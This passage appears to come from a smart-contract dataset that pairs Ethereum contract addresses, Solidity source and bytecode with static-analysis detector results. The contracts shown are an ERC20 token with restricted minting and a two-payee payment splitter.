8563ffffffff610ae116565b600160a060020a03861660008181526005602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015610d2e578181015183820152602001610d16565b50505050905090810190601f168015610d5b5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610d7c57600080fd5b505af1158015610d90573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a03167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd186866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610e0e578181015183820152602001610df6565b50505050905090810190601f168015610e3b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518581529051600160a060020a0387169133916000805160206110848339815191529181900360200190a3506001949350505050565b33600090815260056020526040812054831115610e9e57600080fd5b33600090815260056020526040902054610ebe908463ffffffff610aee16565b3360009081526005602052604080822092909255600160a060020a03861681522054610ef0908463ffffffff610ae116565b6005600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd185856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f93578181015183820152602001610f7b565b50505050905090810190601f168015610fc05780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518481529051600160a060020a0386169133916000805160206110848339815191529181900360200190a35060019392505050565b600160a060020a038116151561101b57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058204d4065152bb603409f8410a752d0cede09d760079c0f721ca4cfa23ebd20c4ac0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
9,555
0xA1f82E14bc09A1b42710dF1A8a999B62f294e592
pragma solidity 0.5.11; interface IcERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function mint( address account, uint256 amount, string calldata txId ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event Minted(address indexed account, uint256 indexed amount, string txId); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract cERC20 is IcERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public _core; constructor( string memory name, string memory symbol, uint8 decimals, address core ) public { _name = name; _symbol = symbol; _decimals = decimals; _core = core; } function _onlyCore() internal view { require(msg.sender == _core, "sender is not EthCore"); } function setCore(address core) public { _onlyCore(); _core = core; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function mint( address account, uint256 amount, string memory txId ) public returns (bool) { _onlyCore(); _mint(account, amount); emit Minted(account, amount, txId); return true; } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d7146102c0578063a9059cbb146102ec578063d3fc986414610318578063dd62ed3e146103d3576100ea565b806370a082311461026a578063800096301461029057806395d89b41146102b8576100ea565b806318160ddd116100c857806318160ddd146101d057806323b872dd146101ea578063313ce56714610220578063395093511461023e576100ea565b806306fdde03146100ef578063095ea7b31461016c5780631460e1c2146101ac575b600080fd5b6100f7610401565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b038135169060200135610497565b604080519115158252519081900360200190f35b6101b46104ad565b604080516001600160a01b039092168252519081900360200190f35b6101d86104c1565b60408051918252519081900360200190f35b6101986004803603606081101561020057600080fd5b506001600160a01b038135811691602081013590911690604001356104c7565b610228610536565b6040805160ff9092168252519081900360200190f35b6101986004803603604081101561025457600080fd5b506001600160a01b03813516906020013561053f565b6101d86004803603602081101561028057600080fd5b50356001600160a01b031661057b565b6102b6600480360360208110156102a657600080fd5b50356001600160a01b0316610596565b005b6100f76105dd565b610198600480360360408110156102d657600080fd5b506001600160a01b03813516906020013561063e565b6101986004803603604081101561030257600080fd5b506001600160a01b038135169060200135610693565b6101986004803603606081101561032e57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561035e57600080fd5b82018360208201111561037057600080fd5b8035906020019184600183028401116401000000008311171561039257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506106a0945050505050565b6101d8600480360360408110156103e957600080fd5b506001600160a01b0381358116916020013516610762565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561048d5780601f106104625761010080835404028352916020019161048d565b820191906000526020600020905b81548152906001019060200180831161047057829003601f168201915b5050505050905090565b60006104a433848461078d565b50600192915050565b60055461010090046001600160a01b031681565b60025490565b60006104d4848484610879565b61052c843361052785604051806060016040528060288152602001610c8f602891396001600160a01b038a166000908152600160209081526040808320338452909152902054919063ffffffff6109d516565b61078d565b5060019392505050565b60055460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104a4918590610527908663ffffffff610a6c16565b6001600160a01b031660009081526020819052604090205490565b61059e610acd565b600580546001600160a01b03909216610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff909216919091179055565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561048d5780601f106104625761010080835404028352916020019161048d565b60006104a4338461052785604051806060016040528060258152602001610d00602591393360009081526001602090815260408083206001600160a01b038d168452909152902054919063ffffffff6109d516565b60006104a4338484610879565b60006106aa610acd565b6106b48484610b33565b82846001600160a01b03167fe7cd4ce7f2a465edc730269a1305e8a48bad821e8fb7e152ec413829c01a53c4846040518080602001828103825283818151815260200191508051906020019080838360005b8381101561071e578181015183820152602001610706565b50505050905090810190601f16801561074b5780820380516001836020036101000a031916815260200191505b509250505060405180910390a35060019392505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166107d25760405162461bcd60e51b8152600401808060200182810382526024815260200180610cdc6024913960400191505060405180910390fd5b6001600160a01b0382166108175760405162461bcd60e51b8152600401808060200182810382526022815260200180610c476022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108be5760405162461bcd60e51b8152600401808060200182810382526025815260200180610cb76025913960400191505060405180910390fd5b6001600160a01b0382166109035760405162461bcd60e51b8152600401808060200182810382526023815260200180610c246023913960400191505060405180910390fd5b61094681604051806060016040528060268152602001610c69602691396001600160a01b038616600090815260208190526040902054919063ffffffff6109d516565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461097b908263ffffffff610a6c16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610a645760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a29578181015183820152602001610a11565b50505050905090810190601f168015610a565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610ac6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60055461010090046001600160a01b03163314610b31576040805162461bcd60e51b815260206004820152601560248201527f73656e646572206973206e6f7420457468436f72650000000000000000000000604482015290519081900360640190fd5b565b6001600160a01b038216610b8e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610ba1908263ffffffff610a6c16565b6002556001600160a01b038216600090815260208190526040902054610bcd908263ffffffff610a6c16565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820e8690221b7641a62a9e7fa38ec77bb6ba18664a01e99300868fffde29ee420b864736f6c634300050b0032
{"success": true, "error": null, "results": {}}
9,556
0xe790298507882d0d5925eca31b17481e6c4a665a
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.10; // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract CUPUSplitter { error InvalidPayeeAddress(); error AccountIsNotDuePayment(); address constant PAYEE1 = 0x51CDCB6eA20C86A4EA1B264f1E290aCd2694948f; address constant PAYEE2 = 0x2B4EcB20b3789f3db2eEb41cCACc74BCFc89b387; uint256 constant SHARE = 50; uint256 constant TOTALSHARES = SHARE + SHARE; uint256 public totalReleased; mapping(address => uint256) public released; mapping(IERC20 => mapping(address => uint256)) public erc20Released; mapping(IERC20 => uint256) public erc20TotalReleased; receive() external payable {} /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public { if (account != PAYEE1 && account != PAYEE2) revert InvalidPayeeAddress(); uint256 totalReceived = address(this).balance + totalReleased; uint256 payment = _pendingPayment( account, totalReceived, released[account] ); if (payment <= 0) revert AccountIsNotDuePayment(); released[account] += payment; totalReleased += payment; account.transfer(payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public { if (account != PAYEE1 && account != PAYEE2) revert InvalidPayeeAddress(); uint256 totalReceived = token.balanceOf(address(this)) + erc20TotalReleased[token]; uint256 payment = _pendingPayment( account, totalReceived, erc20Released[token][account] ); if (payment <= 0) revert AccountIsNotDuePayment(); erc20Released[token][account] += payment; erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) internal pure returns (uint256) { return (totalReceived * SHARE) / TOTALSHARES - alreadyReleased; } }
0x6080604052600436106100595760003560e01c806319165587146100655780633375bbdc1461008757806348b75044146100c65780635ca8bc82146100e65780639852595c1461011e578063e33b7de31461014b57600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046106f3565b610161565b005b34801561009357600080fd5b506100b46100a23660046106f3565b60036020526000908152604090205481565b60405190815260200160405180910390f35b3480156100d257600080fd5b506100856100e1366004610710565b6102a5565b3480156100f257600080fd5b506100b4610101366004610710565b600260209081526000928352604080842090915290825290205481565b34801561012a57600080fd5b506100b46101393660046106f3565b60016020526000908152604090205481565b34801561015757600080fd5b506100b460005481565b6001600160a01b0381167351cdcb6ea20c86a4ea1b264f1e290acd2694948f148015906101ab57506001600160a01b038116732b4ecb20b3789f3db2eeb41ccacc74bcfc89b38714155b156101c95760405163792ee9db60e11b815260040160405180910390fd5b600080546101d7904761075f565b6001600160a01b038316600090815260016020526040812054919250906102019084908490610462565b90506000811161022457604051635639aa0b60e11b815260040160405180910390fd5b6001600160a01b0383166000908152600160205260408120805483929061024c90849061075f565b9250508190555080600080828254610264919061075f565b90915550506040516001600160a01b0384169082156108fc029083906000818181858888f1935050505015801561029f573d6000803e3d6000fd5b50505050565b6001600160a01b0381167351cdcb6ea20c86a4ea1b264f1e290acd2694948f148015906102ef57506001600160a01b038116732b4ecb20b3789f3db2eeb41ccacc74bcfc89b38714155b1561030d5760405163792ee9db60e11b815260040160405180910390fd5b6001600160a01b0382166000818152600360205260408082205490516370a0823160e01b8152306004820152919290916370a0823190602401602060405180830381865afa158015610363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103879190610777565b610391919061075f565b6001600160a01b038085166000908152600260209081526040808320938716835292905290812054919250906103ca9084908490610462565b9050600081116103ed57604051635639aa0b60e11b815260040160405180910390fd5b6001600160a01b0380851660009081526002602090815260408083209387168352929052908120805483929061042490849061075f565b90915550506001600160a01b0384166000908152600360205260408120805483929061045190849061075f565b9091555061029f9050848483610499565b60008161047060328061075f565b61047b603286610790565b61048591906107af565b61048f91906107d1565b90505b9392505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526104eb9084906104f0565b505050565b6000610545826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166105c79092919063ffffffff16565b8051909150156104eb578080602001905181019061056391906107e8565b6104eb5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084015b60405180910390fd5b606061048f8484600085856001600160a01b0385163b6106295760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016105be565b600080866001600160a01b031685876040516106459190610836565b60006040518083038185875af1925050503d8060008114610682576040519150601f19603f3d011682016040523d82523d6000602084013e610687565b606091505b50915091506106978282866106a2565b979650505050505050565b606083156106b1575081610492565b8251156106c15782518084602001fd5b8160405162461bcd60e51b81526004016105be9190610852565b6001600160a01b03811681146106f057600080fd5b50565b60006020828403121561070557600080fd5b8135610492816106db565b6000806040838503121561072357600080fd5b823561072e816106db565b9150602083013561073e816106db565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561077257610772610749565b500190565b60006020828403121561078957600080fd5b5051919050565b60008160001904831182151516156107aa576107aa610749565b500290565b6000826107cc57634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156107e3576107e3610749565b500390565b6000602082840312156107fa57600080fd5b8151801515811461049257600080fd5b60005b8381101561082557818101518382015260200161080d565b8381111561029f5750506000910152565b6000825161084881846020870161080a565b9190910192915050565b602081526000825180602084015261087181604085016020870161080a565b601f01601f1916919091016040019291505056fea2646970667358221220e8c51f5f35b5312530669cf04f90744272babaeefa3395efb40239a44df3009e64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,557
0x0563488f1101f4500aacc58665bdb77b1c7454e6
